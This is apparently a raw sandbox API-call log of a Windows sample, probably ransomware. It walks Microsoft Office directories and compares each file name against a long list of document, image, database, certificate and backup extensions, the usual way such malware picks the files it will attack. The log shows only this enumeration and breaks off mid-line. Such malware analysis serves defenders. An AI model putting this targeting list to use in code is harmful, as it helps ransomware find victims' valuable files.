ftCreationTime.dwLowDateTime=0xc6686c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd41db50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc6686c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7dd3, dwReserved0=0x7ff, dwReserved1=0x4000, cFileName="bg_Country.gif", cAlternateFileName="BG_COU~1.GIF")) returned 1 [0238.694] lstrlenW (lpString="bg_Country.gif") returned 14 [0238.694] lstrlenW (lpString=".1cd") returned 4 [0238.694] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0238.694] lstrlenW (lpString=".3ds") returned 4 [0238.694] lstrcmpiW (lpString1=".3ds", lpString2=".gif") returned -1 [0238.694] lstrlenW (lpString=".3fr") returned 4 [0238.694] lstrcmpiW (lpString1=".3fr", lpString2=".gif") returned -1 [0238.694] lstrlenW (lpString=".3g2") returned 4 [0238.694] lstrcmpiW (lpString1=".3g2", lpString2=".gif") returned -1 [0238.695] lstrlenW (lpString=".3gp") returned 4 [0238.695] lstrcmpiW (lpString1=".3gp", lpString2=".gif") returned -1 [0238.695] lstrlenW (lpString=".7z") returned 3 [0238.695] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0238.695] lstrlenW (lpString=".accda") returned 6 [0238.695] lstrcmpiW (lpString1=".accda", lpString2="ry.gif") returned -1 [0238.695] lstrlenW (lpString=".accdb") returned 6 [0238.695] lstrcmpiW (lpString1=".accdb", lpString2="ry.gif") returned -1 [0238.695] lstrlenW (lpString=".accdc") returned 6 [0238.695] lstrcmpiW (lpString1=".accdc", lpString2="ry.gif") returned -1 [0238.695] lstrlenW (lpString=".accde") returned 6 [0238.695] lstrcmpiW (lpString1=".accde", lpString2="ry.gif") returned -1 [0238.695] lstrlenW (lpString=".accdt") returned 6 [0238.696] lstrcmpiW (lpString1=".accdt", lpString2="ry.gif") returned -1 [0238.696] lstrlenW (lpString=".accdw") returned 6 [0238.696] lstrcmpiW (lpString1=".accdw", lpString2="ry.gif") returned -1 [0238.696] lstrlenW (lpString=".adb") returned 4 [0238.696] lstrcmpiW (lpString1=".adb", lpString2=".gif") returned -1 [0238.696] lstrlenW (lpString=".adp") returned 4 [0238.696] lstrcmpiW (lpString1=".adp", lpString2=".gif") returned -1 [0238.696] lstrlenW (lpString=".ai") returned 3 [0238.696] lstrcmpiW (lpString1=".ai", lpString2="gif") returned -1 [0238.696] lstrlenW (lpString=".ai3") returned 4 [0238.696] lstrcmpiW (lpString1=".ai3", lpString2=".gif") returned -1 [0238.696] lstrlenW (lpString=".ai4") returned 4 [0238.696] lstrcmpiW (lpString1=".ai4", lpString2=".gif") returned -1 [0238.697] lstrlenW (lpString=".ai5") returned 4 [0238.697] lstrcmpiW (lpString1=".ai5", lpString2=".gif") returned -1 [0238.697] lstrlenW (lpString=".ai6") returned 4 [0238.697] lstrcmpiW (lpString1=".ai6", lpString2=".gif") returned -1 [0238.697] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x437dff0 [0240.408] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd4b60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.408] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8cac600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc8cac600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0243.574] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0243.575] lstrcmpiW (lpString1=".3ds", lpString2=".EXE") returned -1 [0243.575] lstrcmpiW (lpString1=".3fr", lpString2=".EXE") returned -1 [0243.575] lstrcmpiW (lpString1=".3g2", lpString2=".EXE") returned -1 [0243.576] lstrcmpiW (lpString1=".3gp", lpString2=".EXE") returned -1 [0243.576] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0243.576] lstrcmpiW (lpString1=".accda", lpString2="EV.EXE") returned -1 [0243.576] lstrcmpiW (lpString1=".accdb", lpString2="EV.EXE") returned -1 [0243.576] lstrcmpiW (lpString1=".accdc", lpString2="EV.EXE") returned -1 [0243.576] lstrcmpiW (lpString1=".accde", lpString2="EV.EXE") returned -1 [0243.576] lstrcmpiW (lpString1=".accdt", lpString2="EV.EXE") returned -1 [0243.576] lstrcmpiW (lpString1=".accdw", lpString2="EV.EXE") returned -1 [0243.576] lstrcmpiW (lpString1=".adb", lpString2=".EXE") returned -1 [0243.577] lstrcmpiW (lpString1=".adp", lpString2=".EXE") returned -1 [0243.577] lstrcmpiW (lpString1=".ai", lpString2="EXE") returned -1 [0243.577] lstrcmpiW (lpString1=".ai3", lpString2=".EXE") returned -1 [0243.577] lstrcmpiW (lpString1=".ai4", lpString2=".EXE") returned -1 [0243.577] lstrcmpiW (lpString1=".ai5", lpString2=".EXE") returned -1 [0243.577] lstrcmpiW (lpString1=".ai6", lpString2=".EXE") returned -1 [0243.577] lstrcmpiW (lpString1=".ai7", lpString2=".EXE") returned -1 [0243.577] lstrcmpiW (lpString1=".ai8", lpString2=".EXE") returned -1 [0243.577] lstrcmpiW (lpString1=".anim", lpString2="V.EXE") returned -1 [0243.578] lstrcmpiW (lpString1=".arw", lpString2=".EXE") returned -1 [0243.578] lstrcmpiW (lpString1=".as", lpString2="EXE") returned -1 [0243.578] lstrcmpiW (lpString1=".asa", lpString2=".EXE") returned -1 [0243.578] lstrcmpiW (lpString1=".asc", lpString2=".EXE") returned -1 [0243.578] lstrcmpiW (lpString1=".ascx", lpString2="V.EXE") returned -1 [0243.578] lstrcmpiW (lpString1=".asm", lpString2=".EXE") returned -1 [0243.578] lstrcmpiW (lpString1=".asmx", lpString2="V.EXE") returned -1 [0243.578] lstrcmpiW (lpString1=".asp", lpString2=".EXE") returned -1 [0243.579] lstrcmpiW (lpString1=".aspx", lpString2="V.EXE") returned -1 [0243.579] lstrcmpiW (lpString1=".asr", lpString2=".EXE") returned -1 [0243.579] lstrcmpiW (lpString1=".asx", lpString2=".EXE") returned -1 [0243.579] lstrcmpiW (lpString1=".avi", lpString2=".EXE") returned -1 [0243.579] lstrcmpiW (lpString1=".avs", lpString2=".EXE") returned -1 [0243.579] lstrcmpiW (lpString1=".backup", lpString2="LEV.EXE") returned -1 [0243.579] lstrcmpiW (lpString1=".bak", lpString2=".EXE") returned -1 [0243.579] lstrcmpiW (lpString1=".bay", lpString2=".EXE") returned -1 [0243.580] lstrcmpiW (lpString1=".bd", lpString2="EXE") returned -1 [0243.580] lstrcmpiW (lpString1=".bin", lpString2=".EXE") returned -1 [0243.580] lstrcmpiW (lpString1=".bmp", lpString2=".EXE") returned -1 [0243.580] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0243.580] lstrcmpiW (lpString1=".c", lpString2="XE") returned -1 [0243.580] lstrcmpiW (lpString1=".cdr", lpString2=".EXE") returned -1 [0243.580] lstrcmpiW (lpString1=".cer", lpString2=".EXE") returned -1 [0243.580] lstrcmpiW (lpString1=".cf", lpString2="EXE") returned -1 [0243.581] lstrcmpiW (lpString1=".cfc", lpString2=".EXE") returned -1 [0243.581] lstrcmpiW (lpString1=".cfm", lpString2=".EXE") returned -1 [0243.581] lstrcmpiW (lpString1=".cfml", lpString2="V.EXE") returned -1 [0243.581] lstrcmpiW (lpString1=".cfu", lpString2=".EXE") returned -1 [0243.581] lstrcmpiW (lpString1=".chm", lpString2=".EXE") returned -1 [0243.581] lstrcmpiW (lpString1=".cin", lpString2=".EXE") returned -1 [0243.581] lstrcmpiW (lpString1=".class", lpString2="EV.EXE") returned -1 [0243.581] lstrcmpiW (lpString1=".clx", lpString2=".EXE") returned -1 [0243.581] lstrcmpiW (lpString1=".config", lpString2="LEV.EXE") returned -1 [0243.582] lstrcmpiW (lpString1=".cpp", lpString2=".EXE") returned -1 [0243.582] lstrcmpiW (lpString1=".cr2", lpString2=".EXE") returned -1 [0243.582] lstrcmpiW (lpString1=".crt", lpString2=".EXE") returned -1 [0243.582] lstrcmpiW (lpString1=".crw", lpString2=".EXE") returned -1 [0243.582] lstrcmpiW (lpString1=".cs", lpString2="EXE") returned -1 [0243.582] lstrcmpiW (lpString1=".css", lpString2=".EXE") returned -1 [0243.582] lstrcmpiW (lpString1=".csv", lpString2=".EXE") returned -1 [0243.582] lstrcmpiW (lpString1=".cub", lpString2=".EXE") returned -1 [0243.583] lstrcmpiW (lpString1=".dae", lpString2=".EXE") returned -1 [0243.583] lstrcmpiW (lpString1=".dat", lpString2=".EXE") returned -1 [0243.583] lstrcmpiW (lpString1=".db", lpString2="EXE") returned -1 [0243.583] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0243.583] lstrcmpiW (lpString1=".dbx", lpString2=".EXE") returned -1 [0243.583] lstrcmpiW (lpString1=".dc3", lpString2=".EXE") returned -1 [0243.583] lstrcmpiW (lpString1=".dcm", lpString2=".EXE") returned -1 [0243.584] lstrcmpiW (lpString1=".dcr", lpString2=".EXE") returned -1 [0243.584] lstrcmpiW (lpString1=".der", lpString2=".EXE") returned -1 [0243.584] lstrcmpiW (lpString1=".dib", lpString2=".EXE") returned -1 [0243.584] lstrcmpiW (lpString1=".dic", lpString2=".EXE") returned -1 [0243.584] lstrcmpiW (lpString1=".dif", lpString2=".EXE") returned -1 [0243.584] lstrcmpiW (lpString1=".divx", lpString2="V.EXE") returned -1 [0243.584] lstrcmpiW (lpString1=".djvu", lpString2="V.EXE") returned -1 [0243.584] lstrcmpiW (lpString1=".dng", lpString2=".EXE") returned -1 [0243.584] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0243.585] lstrcmpiW (lpString1=".docm", lpString2="V.EXE") returned -1 [0243.585] lstrcmpiW (lpString1=".docx", lpString2="V.EXE") returned -1 [0243.585] lstrcmpiW (lpString1=".dot", lpString2=".EXE") returned -1 [0243.585] lstrcmpiW (lpString1=".dotm", lpString2="V.EXE") returned -1 [0243.585] lstrcmpiW (lpString1=".dotx", lpString2="V.EXE") returned -1 [0243.585] lstrcmpiW (lpString1=".dpx", lpString2=".EXE") returned -1 [0243.585] lstrcmpiW (lpString1=".dqy", lpString2=".EXE") returned -1 [0243.585] lstrcmpiW (lpString1=".dsn", lpString2=".EXE") returned -1 [0243.586] lstrcmpiW (lpString1=".dt", lpString2="EXE") returned -1 [0243.586] lstrcmpiW (lpString1=".dtd", lpString2=".EXE") returned -1 [0243.586] lstrcmpiW (lpString1=".dwg", lpString2=".EXE") returned -1 [0243.586] lstrcmpiW (lpString1=".dwt", lpString2=".EXE") returned -1 [0243.586] lstrcmpiW (lpString1=".dx", lpString2="EXE") returned -1 [0243.586] lstrcmpiW (lpString1=".dxf", lpString2=".EXE") returned -1 [0243.586] lstrcmpiW (lpString1=".edml", lpString2="V.EXE") returned -1 [0243.587] lstrcmpiW (lpString1=".efd", lpString2=".EXE") returned -1 [0243.587] lstrcmpiW (lpString1=".elf", lpString2=".EXE") returned -1 [0243.587] lstrcmpiW (lpString1=".emf", lpString2=".EXE") returned -1 [0243.587] lstrcmpiW (lpString1=".emz", lpString2=".EXE") returned -1 [0243.587] lstrcmpiW (lpString1=".epf", lpString2=".EXE") returned -1 [0243.587] lstrcmpiW (lpString1=".eps", lpString2=".EXE") returned -1 [0243.587] lstrcmpiW (lpString1=".epsf", lpString2="V.EXE") returned -1 [0243.588] lstrcmpiW (lpString1=".epsp", lpString2="V.EXE") returned -1 [0243.588] lstrcmpiW (lpString1=".erf", lpString2=".EXE") returned -1 [0243.589] lstrcmpiW (lpString1=".exr", lpString2=".EXE") returned 1 [0243.589] lstrcmpiW (lpString1=".f4v", lpString2=".EXE") returned 1 [0243.589] lstrcmpiW (lpString1=".fido", lpString2="V.EXE") returned -1 [0243.589] lstrcmpiW (lpString1=".flm", lpString2=".EXE") returned 1 [0243.589] lstrcmpiW (lpString1=".flv", lpString2=".EXE") returned 1 [0243.589] lstrcmpiW (lpString1=".frm", lpString2=".EXE") returned 1 [0243.589] lstrcmpiW (lpString1=".fxg", lpString2=".EXE") returned 1 [0243.589] lstrcmpiW (lpString1=".geo", lpString2=".EXE") returned 1 [0243.590] lstrcmpiW (lpString1=".gif", lpString2=".EXE") returned 1 [0243.590] lstrcmpiW (lpString1=".grs", lpString2=".EXE") returned 1 [0243.590] lstrcmpiW (lpString1=".gz", lpString2="EXE") returned -1 [0243.590] lstrcmpiW (lpString1=".h", lpString2="XE") returned -1 [0243.590] lstrcmpiW (lpString1=".hdr", lpString2=".EXE") returned 1 [0243.590] lstrcmpiW (lpString1=".hpp", lpString2=".EXE") returned 1 [0243.590] lstrcmpiW (lpString1=".hta", lpString2=".EXE") returned 1 [0243.590] lstrcmpiW (lpString1=".htc", lpString2=".EXE") returned 1 [0243.590] lstrcmpiW (lpString1=".htm", lpString2=".EXE") returned 1 [0243.591] lstrcmpiW (lpString1=".html", lpString2="V.EXE") returned -1 [0243.591] lstrcmpiW (lpString1=".icb", lpString2=".EXE") returned 1 [0243.591] lstrcmpiW (lpString1=".ics", lpString2=".EXE") returned 1 [0243.591] lstrcmpiW (lpString1=".iff", lpString2=".EXE") returned 1 [0243.591] lstrcmpiW (lpString1=".inc", lpString2=".EXE") returned 1 [0243.591] lstrcmpiW (lpString1=".indd", lpString2="V.EXE") returned -1 [0243.591] lstrcmpiW (lpString1=".ini", lpString2=".EXE") returned 1 [0243.591] lstrcmpiW (lpString1=".iqy", lpString2=".EXE") returned 1 [0243.591] lstrcmpiW (lpString1=".j2c", lpString2=".EXE") returned 1 [0243.591] lstrcmpiW (lpString1=".j2k", lpString2=".EXE") returned 1 [0243.592] lstrcmpiW (lpString1=".java", lpString2="V.EXE") returned -1 [0243.592] lstrcmpiW (lpString1=".jp2", lpString2=".EXE") returned 1 [0243.592] lstrcmpiW (lpString1=".jpc", lpString2=".EXE") returned 1 [0243.592] lstrcmpiW (lpString1=".jpe", lpString2=".EXE") returned 1 [0243.592] lstrcmpiW (lpString1=".jpeg", lpString2="V.EXE") returned -1 [0243.592] lstrcmpiW (lpString1=".jpf", lpString2=".EXE") returned 1 [0243.592] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0243.592] lstrcmpiW (lpString1=".jpx", lpString2=".EXE") returned 1 [0243.592] lstrcmpiW (lpString1=".js", lpString2="EXE") returned -1 [0243.593] lstrcmpiW (lpString1=".jsf", lpString2=".EXE") returned 1 [0243.593] lstrcmpiW (lpString1=".json", lpString2="V.EXE") returned -1 [0243.593] lstrcmpiW (lpString1=".jsp", lpString2=".EXE") returned 1 [0243.593] lstrcmpiW (lpString1=".kdc", lpString2=".EXE") returned 1 [0243.593] lstrcmpiW (lpString1=".kmz", lpString2=".EXE") returned 1 [0243.593] lstrcmpiW (lpString1=".kwm", lpString2=".EXE") returned 1 [0243.593] lstrcmpiW (lpString1=".lasso", lpString2="EV.EXE") returned -1 [0243.593] lstrcmpiW (lpString1=".lbi", lpString2=".EXE") returned 1 [0243.594] lstrcmpiW (lpString1=".lgf", lpString2=".EXE") returned 1 [0243.594] lstrcmpiW (lpString1=".lgp", lpString2=".EXE") returned 1 [0243.594] lstrcmpiW (lpString1=".log", lpString2=".EXE") returned 1 [0243.594] lstrcmpiW (lpString1=".m1v", lpString2=".EXE") returned 1 [0243.594] lstrcmpiW (lpString1=".m4a", lpString2=".EXE") returned 1 [0243.594] lstrcmpiW (lpString1=".m4v", lpString2=".EXE") returned 1 [0243.594] lstrcmpiW (lpString1=".max", lpString2=".EXE") returned 1 [0243.595] lstrcmpiW (lpString1=".md", lpString2="EXE") returned -1 [0243.595] lstrcmpiW (lpString1=".mda", lpString2=".EXE") returned 1 [0243.595] lstrcmpiW (lpString1=".mdb", lpString2=".EXE") returned 1 [0243.595] lstrcmpiW (lpString1=".mde", lpString2=".EXE") returned 1 [0243.595] lstrcmpiW (lpString1=".mdf", lpString2=".EXE") returned 1 [0243.595] lstrcmpiW (lpString1=".mdw", lpString2=".EXE") returned 1 [0243.595] lstrcmpiW (lpString1=".mef", lpString2=".EXE") returned 1 [0243.595] lstrcmpiW (lpString1=".mft", lpString2=".EXE") returned 1 [0243.595] lstrcmpiW (lpString1=".mfw", lpString2=".EXE") returned 1 [0243.595] lstrcmpiW (lpString1=".mht", lpString2=".EXE") returned 1 [0243.596] lstrcmpiW (lpString1=".mhtml", lpString2="EV.EXE") returned -1 [0243.596] lstrcmpiW (lpString1=".mka", lpString2=".EXE") returned 1 [0243.596] lstrcmpiW (lpString1=".mkidx", lpString2="EV.EXE") returned -1 [0243.596] lstrcmpiW (lpString1=".mkv", lpString2=".EXE") returned 1 [0243.596] lstrcmpiW (lpString1=".mos", lpString2=".EXE") returned 1 [0243.596] lstrcmpiW (lpString1=".mov", lpString2=".EXE") returned 1 [0243.596] lstrcmpiW (lpString1=".mp3", lpString2=".EXE") returned 1 [0243.596] lstrcmpiW (lpString1=".mp4", lpString2=".EXE") returned 1 [0243.597] lstrcmpiW (lpString1=".mpeg", lpString2="V.EXE") returned -1 [0243.597] lstrcmpiW (lpString1=".mpg", lpString2=".EXE") returned 1 [0243.597] lstrcmpiW (lpString1=".mpv", lpString2=".EXE") returned 1 [0243.597] lstrcmpiW (lpString1=".mrw", lpString2=".EXE") returned 1 [0243.597] lstrcmpiW (lpString1=".msg", lpString2=".EXE") returned 1 [0243.597] lstrcmpiW (lpString1=".mxl", lpString2=".EXE") returned 1 [0243.597] lstrcmpiW (lpString1=".myd", lpString2=".EXE") returned 1 [0243.597] lstrcmpiW (lpString1=".myi", lpString2=".EXE") returned 1 [0243.598] lstrcmpiW (lpString1=".nef", lpString2=".EXE") returned 1 [0243.598] lstrcmpiW (lpString1=".nrw", lpString2=".EXE") returned 1 [0243.598] lstrcmpiW (lpString1=".obj", lpString2=".EXE") returned 1 [0243.598] lstrcmpiW (lpString1=".odb", lpString2=".EXE") returned 1 [0243.598] lstrcmpiW (lpString1=".odc", lpString2=".EXE") returned 1 [0243.598] lstrcmpiW (lpString1=".odm", lpString2=".EXE") returned 1 [0243.598] lstrcmpiW (lpString1=".odp", lpString2=".EXE") returned 1 [0243.598] lstrcmpiW (lpString1=".ods", lpString2=".EXE") returned 1 [0243.599] lstrcmpiW (lpString1=".oft", lpString2=".EXE") returned 1 [0243.599] lstrcmpiW (lpString1=".one", lpString2=".EXE") returned 1 [0243.599] lstrcmpiW (lpString1=".onepkg", lpString2="LEV.EXE") returned -1 [0243.599] lstrcmpiW (lpString1=".onetoc2", lpString2="ELEV.EXE") returned -1 [0243.599] lstrcmpiW (lpString1=".opt", lpString2=".EXE") returned 1 [0243.599] lstrcmpiW (lpString1=".oqy", lpString2=".EXE") returned 1 [0243.599] lstrcmpiW (lpString1=".orf", lpString2=".EXE") returned 1 [0243.599] lstrcmpiW (lpString1=".p12", lpString2=".EXE") returned 1 [0243.599] lstrcmpiW (lpString1=".p7b", lpString2=".EXE") returned 1 [0243.600] lstrcmpiW (lpString1=".p7c", lpString2=".EXE") returned 1 [0243.600] lstrcmpiW (lpString1=".pam", lpString2=".EXE") returned 1 [0243.600] lstrcmpiW (lpString1=".pbm", lpString2=".EXE") returned 1 [0243.600] lstrcmpiW (lpString1=".pct", lpString2=".EXE") returned 1 [0243.600] lstrcmpiW (lpString1=".pcx", lpString2=".EXE") returned 1 [0243.600] lstrcmpiW (lpString1=".pdd", lpString2=".EXE") returned 1 [0243.600] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0243.600] lstrcmpiW (lpString1=".pdp", lpString2=".EXE") returned 1 [0243.601] lstrcmpiW (lpString1=".pef", lpString2=".EXE") returned 1 [0243.601] lstrcmpiW (lpString1=".pem", lpString2=".EXE") returned 1 [0243.601] lstrcmpiW (lpString1=".pff", lpString2=".EXE") returned 1 [0243.601] lstrcmpiW (lpString1=".pfm", lpString2=".EXE") returned 1 [0243.601] lstrcmpiW (lpString1=".pfx", lpString2=".EXE") returned 1 [0243.601] lstrcmpiW (lpString1=".pgm", lpString2=".EXE") returned 1 [0243.601] lstrcmpiW (lpString1=".php", lpString2=".EXE") returned 1 [0243.602] lstrcmpiW (lpString1=".php3", lpString2="V.EXE") returned -1 [0243.602] lstrcmpiW (lpString1=".php4", lpString2="V.EXE") returned -1 [0243.602] lstrcmpiW (lpString1=".php5", lpString2="V.EXE") returned -1 [0243.602] lstrcmpiW (lpString1=".phtml", lpString2="EV.EXE") returned -1 [0243.602] lstrcmpiW (lpString1=".pict", lpString2="V.EXE") returned -1 [0243.602] lstrcmpiW (lpString1=".pl", lpString2="EXE") returned -1 [0243.602] lstrcmpiW (lpString1=".pls", lpString2=".EXE") returned 1 [0243.602] lstrcmpiW (lpString1=".pm", lpString2="EXE") returned -1 [0243.603] lstrcmpiW (lpString1=".png", lpString2=".EXE") returned 1 [0243.603] lstrcmpiW (lpString1=".pnm", lpString2=".EXE") returned 1 [0243.603] lstrcmpiW (lpString1=".pot", lpString2=".EXE") returned 1 [0243.603] lstrcmpiW (lpString1=".potm", lpString2="V.EXE") returned -1 [0243.603] lstrcmpiW (lpString1=".potx", lpString2="V.EXE") returned -1 [0243.603] lstrcmpiW (lpString1=".ppa", lpString2=".EXE") returned 1 [0243.603] lstrcmpiW (lpString1=".ppam", lpString2="V.EXE") returned -1 [0244.117] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x42f8740, Size=0x10000) returned 0x42f8740 [0244.119] FindNextFileW (in: hFindFile=0x624400, lpFindFileData=0x38ef310 | out: lpFindFileData=0x38ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf925f00, ftCreationTime.dwHighDateTime=0x1c92dac, ftLastAccessTime.dwLowDateTime=0x1bbcb690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf925f00, ftLastWriteTime.dwHighDateTime=0x1c92dac, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCOLOR.SCM", cAlternateFileName="")) returned 1 [0244.120] lstrlenW (lpString="PUBCOLOR.SCM") returned 12 [0244.120] lstrlenW (lpString=".1cd") returned 4 [0244.120] lstrcmpiW (lpString1=".1cd", lpString2=".SCM") returned -1 [0244.120] lstrlenW (lpString=".3ds") returned 4 [0244.120] lstrcmpiW (lpString1=".3ds", lpString2=".SCM") returned -1 [0244.120] lstrlenW (lpString=".3fr") returned 4 [0244.120] lstrcmpiW (lpString1=".3fr", lpString2=".SCM") returned -1 [0244.121] lstrlenW (lpString=".3g2") returned 4 [0244.121] lstrcmpiW (lpString1=".3g2", lpString2=".SCM") returned -1 [0244.121] lstrlenW (lpString=".3gp") returned 4 [0244.121] lstrcmpiW (lpString1=".3gp", lpString2=".SCM") returned -1 [0244.121] lstrlenW (lpString=".7z") returned 3 [0244.122] lstrcmpiW (lpString1=".7z", lpString2="SCM") returned -1 [0244.122] lstrlenW (lpString=".accda") returned 6 [0244.122] lstrcmpiW (lpString1=".accda", lpString2="OR.SCM") returned -1 [0244.122] lstrlenW (lpString=".accdb") returned 6 [0244.122] lstrcmpiW (lpString1=".accdb", lpString2="OR.SCM") returned -1 [0244.122] lstrlenW (lpString=".accdc") returned 6 [0244.123] lstrcmpiW (lpString1=".accdc", lpString2="OR.SCM") returned -1 [0244.123] lstrlenW (lpString=".accde") returned 6 [0244.123] lstrcmpiW (lpString1=".accde", lpString2="OR.SCM") returned -1 [0244.123] lstrlenW (lpString=".accdt") returned 6 [0244.123] lstrcmpiW (lpString1=".accdt", lpString2="OR.SCM") returned -1 [0244.123] lstrlenW (lpString=".accdw") returned 6 [0244.123] lstrcmpiW (lpString1=".accdw", lpString2="OR.SCM") returned -1 [0244.123] lstrlenW (lpString=".adb") returned 4 [0244.123] lstrcmpiW (lpString1=".adb", lpString2=".SCM") returned -1 [0244.123] lstrlenW (lpString=".adp") returned 4 [0244.123] lstrcmpiW (lpString1=".adp", lpString2=".SCM") returned -1 [0244.124] lstrlenW (lpString=".ai") returned 3 [0244.124] lstrcmpiW (lpString1=".ai", lpString2="SCM") returned -1 [0244.124] lstrlenW (lpString=".ai3") returned 4 [0244.124] lstrcmpiW (lpString1=".ai3", lpString2=".SCM") returned -1 [0244.124] lstrlenW (lpString=".ai4") returned 4 [0244.124] lstrcmpiW (lpString1=".ai4", lpString2=".SCM") returned -1 [0244.124] lstrlenW (lpString=".ai5") returned 4 [0244.124] lstrcmpiW (lpString1=".ai5", lpString2=".SCM") returned -1 [0244.124] lstrlenW (lpString=".ai6") returned 4 [0244.124] lstrcmpiW (lpString1=".ai6", lpString2=".SCM") returned -1 [0244.125] lstrlenW (lpString=".ai7") returned 4 [0244.125] lstrcmpiW (lpString1=".ai7", lpString2=".SCM") returned -1 [0244.125] lstrlenW (lpString=".ai8") returned 4 [0244.125] lstrcmpiW (lpString1=".ai8", lpString2=".SCM") returned -1 [0244.125] lstrlenW (lpString=".anim") returned 5 [0244.125] lstrcmpiW (lpString1=".anim", lpString2="R.SCM") returned -1 [0244.125] lstrlenW (lpString=".arw") returned 4 [0244.125] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xfffe) returned 0x42b3fa0 [0244.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM") returned 56 [0244.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\*", lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f329ce, dwReserved1=0x8000, cFileName=".", cAlternateFileName="")) returned 0x6243c0 [0244.247] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba28770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76f329ce, dwReserved1=0x8000, cFileName="..", cAlternateFileName="")) returned 1 [0244.248] FindNextFileW (in: hFindFile=0x6243c0, lpFindFileData=0x38ef094 | out: lpFindFileData=0x38ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c22e700, ftCreationTime.dwHighDateTime=0x1ca6669, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c22e700, ftLastWriteTime.dwHighDateTime=0x1ca6669, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x76f329ce, dwReserved1=0x8000, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0244.248] lstrlenW (lpString="FONTSCHM.INI") returned 12 [0244.249] lstrlenW (lpString=".1cd") returned 4 [0248.062] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69a5d7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.063] FindNextFileW (in: hFindFile=0x624540, lpFindFileData=0x38eeb9c | out: lpFindFileData=0x38eeb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1 [0248.063] lstrlenW (lpString="AlertImage_Auto.jpg") returned 19 [0248.063] lstrlenW (lpString=".1cd") returned 4 [0248.263] 